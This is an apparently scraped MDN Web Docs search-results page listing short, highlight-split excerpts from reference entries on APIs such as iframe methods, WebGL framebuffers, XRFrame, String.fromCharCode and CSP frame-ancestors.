...And 6 more matches
Migrating from Firebug - Firefox Developer Tools
when migrating
from firebug to the firefox developer tools, you may wonder where the features you loved in firebug are available in the developer tools.
... console api to log things to the console
from within the web page firebug makes a console api available within the page.
...
from the context menu.
...And 6 more matches
CSSKeyframeRule - Web APIs
the csskey
framerule interface describes an object representing a set of style for a given key
frame.
... it corresponds to the contains of a single key
frame of a @key
frames at-rule.
... it implements the cssrule interface with a type value of 8 (cssrule.key
frame_rule).
...And 6 more matches
Document.createDocumentFragment() - Web APIs
creates a new empty document
fragment into which dom nodes can be added to build an offscreen dom tree.
... syntax var
fragment = document.createdocument
fragment(); value a newly created, empty, document
fragment object, which is ready to have nodes inserted into it.
... usage notes document
fragments are dom node objects which are never part of the main dom tree.
...And 6 more matches
IIRFilterNode.getFrequencyResponse() - Web APIs
the get
frequencyresponse() method of the iirfilternode interface takes the current filtering algorithm's settings and calculates the
frequency response for
frequencies specified in a specified array of
frequencies.
... the two output arrays, magresponseoutput and phaseresponseoutput, must be created before calling this method; they must be the same size as the array of input
frequency values (
frequencyarray).
... syntax iirfilternode.get
frequencyresponse(
frequencyarray, magresponseoutput, phaseresponseoutput); parameters
frequencyarray a float32array containing an array of
frequencies, specified in hertz, which you want to filter.
...And 6 more matches
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
the webglrenderingcontext.
framebufferrenderbuffer() method of the webgl api attaches a webglrenderbuffer object to a webgl
framebuffer object.
... syntax void gl.
framebufferrenderbuffer(target, attachment, renderbuffertarget, renderbuffer); parameters target a glenum specifying the binding point (target) for the
framebuffer.
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 6 more matches
<frequency> - CSS: Cascading Style Sheets
the <
frequency> css data type represents a
frequency dimension, such as the pitch of a speaking voice.
... syntax the <
frequency> data type consists of a <number> followed by one of the units listed below.
... units hz represents a
frequency in hertz.
...And 6 more matches
CSP: frame-ancestors - HTTP
the http content-security-policy (csp)
frame-ancestors directive specifies valid parents that may embed a page using <
frame>, <i
frame>, <object>, <embed>, or <applet>.
... setting this directive to 'none' is similar to x-
frame-options: deny (which is also supported in older browsers).
... syntax one or more sources can be set for the
frame-ancestors policy: content-security-policy:
frame-ancestors <source>; content-security-policy:
frame-ancestors <source> <source>; sources <source> can be one of the following: the
frame-ancestors directive’s syntax is similar to a source list of other directives (e.g.
...And 6 more matches
String.fromCharCode() - JavaScript
the static string.
fromcharcode() method returns a string created
from the specified sequence of utf-16 code units.
... syntax string.
fromcharcode(num1[, ...[, numn]]) parameters num1, ..., numn a sequence of numbers that are utf-16 code units.
... because
fromcharcode() is a static method of string, you always use it as string.
fromcharcode(), rather than as a method of a string object you created.
...And 6 more matches
Compiling from Rust to WebAssembly - WebAssembly
to build a part of an application — using rust in an existing javascript
frontend.
...if you've used gemfile
from bundler or package.json
from npm, this is likely to be familiar; cargo works in a similar manner to both of them.
...we give a high-level explanation here, and gloss over some details; to learn more about rust, please check the
free online book the rust programming language.
...And 6 more matches
Frequently Asked Questions - Archive of obsolete content
when you try to load svg files
from some websites you may get a dialogue asking you "what should firefox do with this file?".
... if you discover any problems with our svg implementation that you think we should know about then we'd like to hear
from you.
...if you have any problems with the bug database feel
free to contact contact us.
...And 5 more matches
DocumentOrShadowRoot.elementFromPoint() - Web APIs
the element
frompoint() method—available on both the document and shadowroot objects—returns the topmost element at the specified coordinates (relative to the viewport).
... if the element at the specified point belongs to another document (for example, the document of an <i
frame>), that document's parent element is returned (the <i
frame> itself).
... if the method is run on another document (like an <i
frame>'s subdocument), the coordinates are relative to the document where the method is being called.
...And 5 more matches
Using files from web applications - Web APIs
if you want to use the dom file api
from extensions or other browser chrome code, you can; however, note there are some additional features to be aware of.
...they just stop propagation of the event and prevent the default action
from occurring: function dragenter(e) { e.stoppropagation(); e.preventdefault(); } function dragover(e) { e.stoppropagation(); e.preventdefault(); } the real magic happens in the drop() function: function drop(e) { e.stoppropagation(); e.preventdefault(); const dt = e.datatransfer; const files = dt.files; handlefiles(files); } here, we retrieve the datatransfer field
from ...
...
from this point on, handling the files is the same whether the user used the input element or drag and drop.
...And 5 more matches
MediaTrackSupportedConstraints.frameRate - Web APIs
the mediatracksupportedconstraints dictionary's
framerate property is a read-only boolean value which is present (and set to true) in the object returned by mediadevices.getsupportedconstraints() if and only if the user agent supports the
framerate constraint.
... the
framerate constraint can be used to establish acceptable upper and lower bounds on the video
frame rate for a new video track, or to specify an exact
frame rate that must be provided for the request to succeed.
... checking the value of this property lets you determine if the user agent allows constraining the video track configuration by
frame rate.
...And 5 more matches
NDEFReader - Web APIs
the nde
freader interface of the web nfc api is an abstract interface used to read data
from compatible nfc devices, e.g.
... constructor nde
freader.nde
freader() returns an nde
freader with configuration specified in the parameters or default ones if no parameters are specified.
... properties in addition to the properties listed below, nde
freader inherits properties
from its parent interface, eventtarget.
...And 5 more matches
Math.fround() - JavaScript
the math.
fround() function returns the nearest 32-bit single precision float representation of a number.
... syntax var singlefloat = math.
fround(doublefloat); parameters doublefloat a number.
...however, sometimes you may be working with 32-bit floating-point numbers, for example if you are reading values
from a float32array.
...And 5 more matches
String.fromCodePoint() - JavaScript
the static string.
fromcodepoint() method returns a string created by using the specified sequence of code points.
... syntax string.
fromcodepoint(num1[, ...[, numn]]) parameters num1, ..., numn a sequence of code points.
... because
fromcodepoint() is a static method of string, you must call it as string.
fromcodepoint(), rather than as a method of a string object you created.
...And 5 more matches
nsIChromeFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable handles loading of content in a remote chrome
frame.
... 1.0 66 introduced gecko 2.0 inherits
from: nsi
framemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void load
framescript(in astring aurl, in boolean aallowdelayedload); void removedelayed
framescript(in astring aurl); methods load
framescript() loads a script into the remote
frame.
... void load
framescript( in astring aurl, in boolean aallowdelayedload ); parameters aurl the url of the script to load into the
frame; this must be an absolute url, but data: urls are supported.
...And 4 more matches
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsisyncmessagesender this interface provides the environment for scripts that are loaded into content
frames using the nsi
framescriptloader interface.
... it enables these scripts to receive messages
from the chrome process and send messages back to the chrome process.
...
frame scripts can send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsicontent
framemessagemanager's parent classes nsisyncmessagesender and nsimessagesender.
...And 4 more matches
DocumentFragment.querySelector() - Web APIs
the document
fragment.queryselector() method returns the first element, or null if no matches are found, within the document
fragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors.
... syntax element = document
fragment.queryselector(selectors); parameters selectors is a domstring containing one or more css selectors separated by commas.
... examples basic example in this basic example, the first element in the document
fragment with the class "myclass" is returned: var el = document
fragment.queryselector(".myclass"); css syntax and the method's argument the string argument pass to queryselector must follow the css syntax.
...And 4 more matches
NDEFReadingEvent - Web APIs
the nde
freadingevent interface represents events despatched on new nfc readings obtained by nde
freader.
... constructor nde
freadingevent.nde
freadingevent() creates an nde
freadingevent event with the given parameters.
... properties also inherits properties
from its parent event.
...And 4 more matches
VideoPlaybackQuality.totalVideoFrames - Web APIs
the videoplaybackquality interface's totalvideo
frames read-only property returns the total number of video
frames that have been displayed or dropped since the media was loaded.
... syntax value = videoplaybackquality.totalvideo
frames; value the total number of
frames that the <video> element has displayed or dropped since the media was loaded into it.
... essentially, this is the number of
frames the element would have presented had no problems occurred.
...And 4 more matches
XRInputSourceEvent.frame - Web APIs
the read-only xrinputsourceevent property
frame specifies an xr
frame object representing the event
frame during which a webxr user input occurred.
... syntax let input
frame = xrinputsourceevent.
frame; value an xr
frame indicating the event
frame at which the user input event described by the object took place.
... usage notes the event
frame does not correspond to a visual
frame as is delivered to the
frame rendering callback function (see rendering and the webxr
frame rendering callback for details on the callback).
...And 4 more matches
XRSession.cancelAnimationFrame() - Web APIs
the cancelanimation
frame() method of the xrsession interface cancels an animation
frame which was previously requested by calling requestanimation
frame.
... syntax xrsession.cancelanimation
frame(handle); parameters handle the unique value returned by the call to requestanimation
frame() that previously scheduled the animation callback.
...once started, the session schedules its first
frame to be rendered by calling requestanimation
frame().
...And 4 more matches
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
the xrwebgllayerinit dictionary's
framebufferscalefactor property, when specified upon instantiating a new xrwebgllayer using its constructor, xrwebgllayer(), specifies the scaling factor to use when determining the size of the
frame buffer to use when rendering the scene, relative to the default xr device display resolution.
... for example, a value of 1.0 indicates that the
frame buffer should be the same resolution as the actual display, while a value of 0.5 indicates that the
frame buffer should be half the resolution of the display.
... a value of 2.0, on the other hand, creates a
frame buffer whose resolution is double that of the actual display buffer.
...And 4 more matches
from - SVG: Scalable Vector Graphics
the
from attribute indicates the initial value of the attribute that will be modified during the animation.
... when used with the to attribute, the animation will change the modified attribute
from the
from value to the to value.
... when used with the by attribute, the animation will change the attribute relatively
from the
from value by the value specified in by.
...And 4 more matches
frame/utils - Archive of obsolete content
experimental provides helper functions for working with platform internals like
frames and browsers.
... usage module exports create function that takes the nsidomdocument of a privileged document and creates a browser element in its documentelement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/
frame/utils'); let window = open('data:text/html,foo'); let
frame = create(window.document); optionally create can be passed set of options to configure created
frame even further.
... execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/
frame/utils'); let window = open('data:text/html,top'); let
frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascript: true }); } globals functions create(document, options) creates a xul browser element in a privileged document.
...And 3 more matches
Initialize the framework - Game development
this can be done using html — the phaser
framework will generate the required <canvas> element.
... the game's html the html document structure is quite simple, as the game will be rendered entirely on the <canvas> element generated by the
framework.
... using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the
framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} function update() {} </script> </body> </html> downloading the phaser code next, we need to go through the process of downloading the phaser source code and applying it to our html document.
...And 3 more matches
Fragmentainer - MDN Web Docs Glossary: Definitions of Web-related terms
a
fragmentainer is defined in the css
fragmentation specification as follows: a box—such as a page box, column box, or region—that contains a portion (or all) of a
fragmented flow.
...
fragmentainers can be pre-defined, or generated as needed.
... when breakable content would overflow a
fragmentainer in the block dimension, it breaks into the next container in its
fragmentation context instead.
...And 3 more matches
Front-end web developer - Learn web development
welcome to our
front-end web developer learning pathway!
... here we provide you with a structured course that will teach you all you need to know to become a
front-end web developer.
... if you are not sure if
front-end web development is for you, and/or you want a gentle introduction before starting a longer and more complete course, work through our getting started with the web module first.
...And 3 more matches
JS_DeepFreezeObject
this article covers features introduced in spidermonkey 1.8.5
freeze obj, and all objects it refers to, recursively.
... syntax bool js_deep
freezeobject(jscontext *cx, js::handle<jsobject*> obj); name type description cx jsruntime * the context.
... obj js::handle<jsobject*> an object to
freeze.
...And 3 more matches
JS_FreezeObject
this article covers features introduced in spidermonkey 1.8.5
freeze an object.
... syntax bool js_
freezeobject(jscontext *cx, js::handle<jsobject*> obj); name type description cx jscontext * the context.
... obj js::handle<jsobject*> an object to
freeze.
...And 3 more matches
JS_SaveFrameChain
saves and restores
frame chains.
... syntax bool js_save
framechain(jscontext *cx); void js_restore
framechain(jscontext *cx); name type description cx jscontext * the context to query.
...after a call to js_save
framechain, it looks as if there is no code running on cx.
...And 3 more matches
Using Objective-C from js-ctypes
$ clang -
framework appkit test.m && ./a.out class, message, and selector our task at hand is to convert objective-c syntax to c syntax.
...objc_msgsend function, receives the instance which receives the message, the selector, and variable argument list for the message, returning the returned value
from the method.
... $ clang -lobjc -
framework appkit test.c && ./a.out converting c code to js-ctypes code now we have working c code, it can be converted into js-ctypes in a relatively straightforward manner.
...And 3 more matches
AudioBuffer.copyFromChannel() - Web APIs
the copy
fromchannel() method of the audiobuffer interface copies the audio sample data
from the specified channel of the audiobuffer to a specified float32array.
... syntax myarraybuffer.copy
fromchannel(destination, channelnumber, startinchannel); parameters destination a float32array to copy the channel's samples to.
... channelnumber the channel number of the current audiobuffer to copy the channel data
from.
...And 3 more matches
HTMLIFrameElement.allowPaymentRequest - Web APIs
the allowpaymentrequest property of the htmli
frameelement interface returns a boolean indicating whether the payment request api may be invoked on a cross-origin i
frame.
... syntax var allow = htmli
frameelement.allowpaymentrequest value a boolean.
... html living standardthe definition of 'htmli
frameelement: allowpaymentrequest' in that specification.
...And 3 more matches
HTMLIFrameElement.referrerPolicy - Web APIs
the htmli
frameelement.referrerpolicy property reflects the html referrerpolicy attribute of the <i
frame> element defining which referrer is sent when fetching the resource.
... syntax refstr = i
frameelt.referrerpolicy; i
frameelt.referrerpolicy = refstr; values no-referrer the referer header will be omitted entirely.
... this policy will leak origins and paths
from tls-protected resources to insecure origins.
...And 3 more matches
KeyframeEffect.composite - Web APIs
the composite property of a key
frameeffect resolves how an element's animation impacts its underlying property values.
... syntax // getting var compositeenumeration = key
frameeffect.composite; // setting key
frameeffect.composite = 'accumulate'; value to understand these values, take the example of a key
frameeffect value of blur(2) working on an underlying property value of blur(3).
... replace the key
frameeffect overrides the underlying value it is combined with: blur(2) replaces blur(3).
...And 3 more matches
MediaTrackConstraints.frameRate - Web APIs
the mediatrackconstraints dictionary's
framerate property is a constraindouble describing the requested or mandatory constraints placed upon the value of the
framerate constrainable property.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.
framerate as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = {
framerate: constraint }; constraintsobject.
framerate = constraint; value a constraindouble describing the acceptable or required value(s) for a video track's
frame rate, in
frames per second.
...And 3 more matches
RTCIceCandidateInit.usernameFragment - Web APIs
the optional property username
fragment in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's username
fragment property.
... value a domstring containing the username
fragment (usually referred to in shorthand as "u
frag" or "ice-u
frag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
... randomization at least 24 bits of the text in the u
frag are required to be randomly selected by the ice layer at the beginning of the ice session.
...And 3 more matches
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
the videoplaybackquality interface's read-only corruptedvideo
frames property the number of corrupted video
frames that have been received since the <video> element was last loaded or reloaded.
... syntax corrupt
framefount = videoplaybackquality.corruptedvideo
frames; value the number of corrupted video
frames that have been received since the <video> element was last loaded or reloaded.
... it is up to the user agent to determine whether or not to display a corrupted video
frame.
...And 3 more matches
VideoPlaybackQuality.droppedVideoFrames - Web APIs
the read-only droppedvideo
frames property of the videoplaybackquality interface returns the number of video
frames which have been dropped rather than being displayed since the last time the media was loaded into the htmlvideoelement.
... syntax value = videoplaybackquality.droppedvideo
frames; value an unsigned 64-bit value indicating the number of
frames that have been dropped since the last time the media in the <video> element was loaded or reloaded.
... this information can be used to determine whether or not to downgrade the video stream to avoid dropping
frames.
...And 3 more matches
WebGLRenderingContext.deleteFramebuffer() - Web APIs
the webglrenderingcontext.delete
framebuffer() method of the webgl api deletes a given webgl
framebuffer object.
... this method has no effect if the
frame buffer has already been deleted.
... syntax void gl.delete
framebuffer(
framebuffer); parameters
framebuffer a webgl
framebuffer object to delete.
...And 3 more matches
Textures from code - Web APIs
« previousnext » this webgl example provides a simple demonstration of procedural texturing with
fragment shaders.
... drawing textures with code texturing a point sprite with calculations done per-pixel in the
fragment shader.
... <p>texture
from code.
...And 3 more matches
Window.frames - Web APIs
returns the window itself, which is an array-like object, listing the direct sub-
frames of the current window.
... syntax
framelist = window.
frames;
framelist is a list of
frame objects.
...
framelist === window evaluates to true.
...And 3 more matches
XRFrame.getViewerPose() - Web APIs
the getviewerpose() method, a member of the xr
frame interface, returns a xrviewerpose object which describes the viewer's pose (position and orientation) relative to the specified reference space.
... syntax var xrviewerpose = xr
frame.getviewerpose(referencespace); parameters referencespace an xrreferencespace object specifying the space to use as the reference point or base for the computation of the viewer's current pose.
... exceptions invalidstateerror a domexception indicating that getviewerpose() was not called within the context of a callback to a session's xrsession.requestanimation
frame().
...And 3 more matches
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property
frame specifies an xr
frame providing information about the timestamp at which the new input source event took place, as well as access to the xr
frame method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
...these events are generated by and sent to you by the webxr in
frastructure.
... syntax xrinputsourceeventinit.
frame = xr
frame; let xrinputsourceeventinit = {
frame: xr
frame }; let xrinputsourceevent = new xrinputsourceevent(type, {
frame: xr
frame }); value an xr
frame indicating the time at which the event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space.
...And 3 more matches
XRWebGLLayer.framebufferHeight - Web APIs
the read-only xrwebgllayer property
framebufferheight indicates the height of the
framebuffer, in pixels.
... you can get the width of the
framebuffer using the
framebufferwidth property.
... syntax let bufferheight = xrwebgllayer.
framebufferheight; value the height in pixels of the xr device's
framebuffer.
...And 3 more matches
XRWebGLLayer.framebufferWidth - Web APIs
the read-only xrwebgllayer property
framebufferwidth specifies the width of the
framebuffer, in pixels.
... you can get the height of the
framebuffer using the
framebufferheight property.
... syntax let bufferwidth = xrwebgllayer.
framebufferwidth; value the width in pixels of the xr device's
framebuffer.
...And 3 more matches
Shapes From Images - CSS: Cascading Style Sheets
in this guide we will take a look at how we can create a shape
from an image file with an alpha channel or even
from a css gradient.
... a simple shape
from an image to use an image for the shape the image needs to have an alpha channel, an area that is not fully opaque.
... i can use shape-margin to move the text away
from the shape, giving a margin around the created shape and the text.
...And 3 more matches
Object.fromEntries() - JavaScript
the object.
fromentries() method transforms a list of key-value pairs into an object.
... syntax object.
fromentries(iterable); parameters iterable an iterable such as array or map or other objects implementing the iterable protocol.
... description the object.
fromentries() method takes a list of key-value pairs and returns a new object whose properties are given by those entries.
...And 3 more matches
refreshPlugins - Archive of obsolete content
re
freshplugins re
freshes the list of plug-ins registered for the browser.
... method of install object syntax int re
freshplugins( [ areloadpages ] ); parameters the re
freshplugins method has the following parameter: areloadpages areloadpages is an optional boolean value indicating whether you want to reload the open web pages after you have re
freshed the plug-in list.
...description re
freshplugins lets you register new plug-ins without having to restart the browser.
...And 2 more matches
Frequently Asked Questions for Lightweight themes
there are hundreds of thousands community-designed themes to choose
from, with more added every day.
... are lightweight themes
free?
...themes are
free to download and
free to use.
...And 2 more matches
HTMLIFrameElement.sendMouseEvent()
the sendmouseevent() method of the htmli
frameelement interface allows you to fake a mouse event and send it to the browser <i
frame>'s content.
... syntax instanceofhtmli
frameelement.sendmouseevent(type, x, y, button, clickcount, modifiers); returns void.
... x a number representing the x position of the cursor relative to the browser <i
frame>'s visible area in css pixels.
...And 2 more matches
HTMLIFrameElement.sendTouchEvent()
the sendtouchevent() method of the htmli
frameelement allows you to fake a touch event and send it to the browser <i
frame>'s content.
... syntax instanceofhtmli
frameelement.sendtouchevent(type, x, y, rx, ry, rotationangles, forces, count, modifiers); returns void.
... x an array of numbers representing the x position of each touch point relative to the browser <i
frame>'s visible area in css pixels.
...And 2 more matches
Following the Android Toasts Tutorial from a JNI Perspective
for example, navigating away
from an email before you send it triggers a "draft saved" toast to let you know that you can continue editing later.
...the java code example above can be done with privileged javascript
from firefox for android with the following code: window.nativewindow.toast.show("hello, firefox!", "short"); converting java to jni.jsm the first step is to look at the java code and see all the different types, methods, constructors, and fields that are being used.
...if it is static, this means that it can be called directly
from the class.
...And 2 more matches
JS_freeop
this article covers features introduced in spidermonkey 17 a wrapper for js_
free.
... syntax void js_
freeop(js
freeop *fop, void *p); name type description fop js
freeop * a pointer to js
freeop structure to be used to get the implementation of
free.
... p void * a pointer to the allocated memory to be
freed.
...And 2 more matches
AnalyserNode.frequencyBinCount - Web APIs
the
frequencybincount read-only property of the analysernode interface is an unsigned integer half that of the analysernode.fftsize.
... syntax var arraylength = analysernode.
frequencybincount; value an unsigned integer, equal to the number of values that analysernode.getbyte
frequencydata() and analysernode.getfloat
frequencydata() copy into the provided typedarray.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect
frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
...And 2 more matches
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
the canvascapturemediastreamtrack method request
frame() requests that a
frame be captured
from the canvas and sent to the stream.
... applications that need to carefully control the timing of rendering and
frame capture can use request
frame() to directly specify when it's time to capture a
frame.
... to prevent automatic capture of
frames, so that
frames are only captured when request
frame() is called, specify a value of 0 for the capturestream() method when creating the stream.
...And 2 more matches
DOMPointReadOnly.fromPoint() - Web APIs
the static dompointreadonly method
frompoint() creates and returns a new dompointreadonly object given a source point.
... syntax const point = dompointreadonly.
frompoint(sourcepoint) properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly,
from which to take the values of the new point's properties.
... const point2d = dompointreadonly.
frompoint({x: 25, y: 25}) creating a 3d point using an existing point this example creates a point, origpoint, of type dompoint, using new dompoint().
...And 2 more matches
DOMRectReadOnly.fromRect() - Web APIs
the
fromrect() property of the domrectreadonly interface creates a new domrectreadonly object with a given location and dimensions.
... syntax var domrect = domrectreadonly.
fromrect(rectangle) parameters rectangle optional an object specifying the location and dimensions of a rectangle.
... specifications specification status comment geometry interfaces module level 1the definition of '
fromrect()' in that specification.
...And 2 more matches
DocumentOrShadowRoot.elementsFromPoint() - Web APIs
the elements
frompoint() method of the documentorshadowroot interface returns an array of all elements at the specified coordinates (relative to the viewport).
... it operates in a similar way to the element
frompoint() method.
... syntax const elements = document.elements
frompoint(x, y); parameters x the horizontal coordinate of a point.
...And 2 more matches
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
the mselements
fromrect method returns the node list of elements that are under a rectangle defined by left, top, width, and height.
... syntax object.mselements
fromrect(left, top, width, height, retval) parameters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out, reval] type: nodelist example to find all of the elements under a given point, use mselements
frompoint(x, y).
... to find all of the elements which intersect a rectangle, use mselements
fromrect(top, left, width, height).
...And 2 more matches
HTMLMediaElement.seekToNextFrame() - Web APIs
the htmlmediaelement.seektonext
frame() method asynchronously advances the the current play position to the next
frame in the media.
... this method lets you access
frames of video media without the media being performed in real time.
... this also lets you access media using
frames as a seek unit rather than timecodes (albeit only by seeking one
frame at a time until you get to the
frame you want).
...And 2 more matches
ImageCapture.grabFrame() - Web APIs
the grab
frame() method of the imagecapture interface takes a snapshot of the live video in a mediastreamtrack and returns a promise that resolves with a imagebitmap containing the snapshot.
... syntax const bitmappromise = imagecapture.grab
frame() return value a promise that resolves to an imagebitmap object.
... example this example is extracted
from this simple image capture demo.
...And 2 more matches
KeyframeEffectOptions - Web APIs
the key
frameeffectoptions dictionary, part of the web animations api, is used by element.animate(), key
frameeffectreadonly() and key
frameeffect() to describe timing properties for animation effects.
... simply put, these properties describe how the user agent should go about making the transition
from key
frame to key
frame, and how to behave when the animation begins and ends.
... iterationcomposite optional determines how values build
from iteration to iteration in this animation.
...And 2 more matches
MediaTrackSettings.frameRate - Web APIs
the mediatracksettings dictionary's
framerate property is a double-precision floating-point number indicating the
frame rate, in
frames per second, of the mediastreamtrack as currently configured.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.
framerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.
framerate as returned by a call to mediadevices.getsupportedconstraints().
...And 2 more matches
NDEFRecord.toRecords() - Web APIs
the torecords() method of the nde
frecord interface of web nfc api parses record payload nde
frecord.data besed on nde
frecord.recordtype and returns the result.
... syntax nde
frecord.torecords() parameters none.
... return value a list of nde
frecords.
...And 2 more matches
Range.createContextualFragment() - Web APIs
the range.createcontextual
fragment() method returns a document
fragment by invoking the html
fragment parsing algorithm or the xml
fragment parsing algorithm with the start of the range (the parent of the selected node) as the context node.
... the html
fragment parsing algorithm is used if the range belongs to a document whose htmlness bit is set.
... in the html case, if the context node would be html, for historical reasons the
fragment parsing algorithm is invoked with body as the context instead.
...And 2 more matches
WebGLRenderingContext.createFramebuffer() - Web APIs
the webglrenderingcontext.create
framebuffer() method of the webgl api creates and initializes a webgl
framebuffer object.
... syntax webgl
framebuffer gl.create
framebuffer(); parameters none.
... return value a webgl
framebuffer object.
...And 2 more matches
WebGLRenderingContext.isFramebuffer() - Web APIs
the webglrenderingcontext.is
framebuffer() method of the webgl api returns true if the passed webgl
framebuffer is valid and false otherwise.
... syntax glboolean gl.is
framebuffer(
framebuffer); parameters
framebuffer a webgl
framebuffer to check.
... return value a glboolean indicating whether or not the
frame buffer is valid.
...And 2 more matches
XRFrame - Web APIs
a webxr device api xr
frame object is passed into the requestanimation
frame() callback function and provides access to the information needed in order to render a single
frame of animation for an xrsession describing a vr or ar sccene.
... events which communicate the tracking state of objects also provide an xr
frame reference as part of their structure.
... in addition to providing a reference to the xrsession for which this
frame is to be rendered, the getviewerpose() method is provided to obtain the xrviewerpose describing the viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another.
...And 2 more matches
Mobile-friendliness - Developer guides
what is mobile
friendliness?
... mobile
friendliness can mean a multitude of things, depending on who you’re talking to.
...know your audience while not strictly a part of the definition of being mobile
friendly, defining who your target audience is makes these goals much more concrete.
...And 2 more matches
<frameset> - HTML: Hypertext Markup Language
the html <
frameset> element is used to contain <
frame> elements.
... note: because the use of
frames is now discouraged in favor of using <i
frame>, this element is not typically used by modern web sites.
... cols this attribute specifies the number and size of horizontal spaces in a
frameset.
...And 2 more matches
From - HTTP
the
from request header contains an internet email address for a human user who controls the requesting user agent.
...a crawler), the
from header should be sent, so you can be contacted if problems occur on servers, such as if the robot is sending excessive, unwanted, or invalid requests.
... you shouldn't use the
from header for access control or authentication.
...And 2 more matches
baseFrequency - SVG: Scalable Vector Graphics
the base
frequency attribute represents the base
frequency parameter for the noise function of the <feturbulence> filter primitive.
... only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence base
frequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numbers are provided, the first one represents the bas...
...e
frequency in the horizontal direction and the second one the base
frequency in the vertical direction.
...And 2 more matches
generateCRMFRequest() - Archive of obsolete content
deprecatedthis feature has been removed
from the web standards.
... crmfobject = crypto.generatecrm
frequest("requesteddn", "regtoken", "authenticator", "escrowauthoritycert", "crmf generation done code", keysize1, "keyparams1", "keygenalg1", ..., keysizen, "keyparamsn", "keygenalgn"); this method will generate a sequence of crmf requests ...
...(this will have digitalsignature and nonrepudiation set for keyusage.) "dh-ex" "ec-ex" "ec-dual-use" "ec-sign" "ec-sign-nonrepudiation" "ec-nonrepudiation" the generatecrm
frequest() method will cause the user to be presented with a key generation dialog.
...the method generatecrm
frequest() will return an instance of a crmf request object.
HTMLIFrameElement.findAll()
the findall() method of the htmli
frameelement searches for a string in a browser <i
frame>'s text content; if found, the first instance of the string relative to the caret position will be highlighted.
... syntax instanceofhtmli
frameelement.findall(searchstring, casesensitivity); returns void.
... parameters searchstring the string you want to search for in the browser <i
frame>'s text.
... casesensitivity a string to declare whether you want the search to be case sensitive (case-sensitive) or insensitive (case-insensitive.) example the following function is taken
from our browser api demo, and executes a search when a search form is submitted.
HTMLIFrameElement.getScreenshot()
the getscreenshot() method of the htmli
frameelement lets you request a screenshot of a content <i
frame>, scaled to fit within a specified maximum width and height.
... syntax var instanceofdomrequest = instanceofhtmli
frameelement.getscreenshot(maxwidth, maxheight, mimetype); returns a domrequest for handling the screenshot request.
...this lets you get a transparent background for the content <i
frame>.
... examples var browser = document.queryselector('i
frame'); var request = browser.getscreenshot(100, 100); request.onsuccess = function() { var blob = request.result; var url = url.createobjecturl(blob); } specification not part of any specification.
HTMLIFrameElement.getVisible()
the getvisible() method of the htmli
frameelement is used to request the current visible state of the browser <i
frame>.
... syntax instanceofdomrequest = instanceofhtmli
frameelement.getvisible(); returns a domrequest object to handle the getvisible() request's success and error cases.
... if the request is successful, the request's result is a boolean indicating the visible state of the browser <i
frame>.
... example var browser = document.queryselector('i
frame'); var request = browser.getvisible(); request.onsuccess = function() { console.log('the visible state is: ' + this.result ?
HTMLIFrameElement.setActive()
the setactive() method of the htmli
frameelement sets the current <i
frame> as the active
frame, which has an effect on how it is prioritized by the process manager.
... syntax instanceofhtmli
frameelement.setactive(boolean); returns void.
... parameters boolean a boolean that indicates whether the i
frame is to be the active
frame (true) or not (false).
... example var browser = document.queryselector('i
frame'); browser.setactive(); specification not part of any specification.
PR_RecvFrom
receives bytes
from a socket and stores the sending peer's address.
... syntax #include <prio.h> print32 pr_recv
from( prfiledesc *fd, void *buf, print32 amount, printn flags, prnetaddr *addr, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a socket.
... description pr_recv
from receives up to a specified number of bytes
from socket, which may or may not be connected.
...pr_recv
from is usually used with a udp socket.
JS::NewFunctionFromSpec
syntax jsfunction* js::newfunction
fromspec(jscontext* cx, const jsfunctionspec* fs, handleid id); name type description cx jscontext * the context in which to define functions.
... description js::newfunction
fromspec creates a new function based on the given jsfunctionspec, *fs.
... on success, js::newfunction
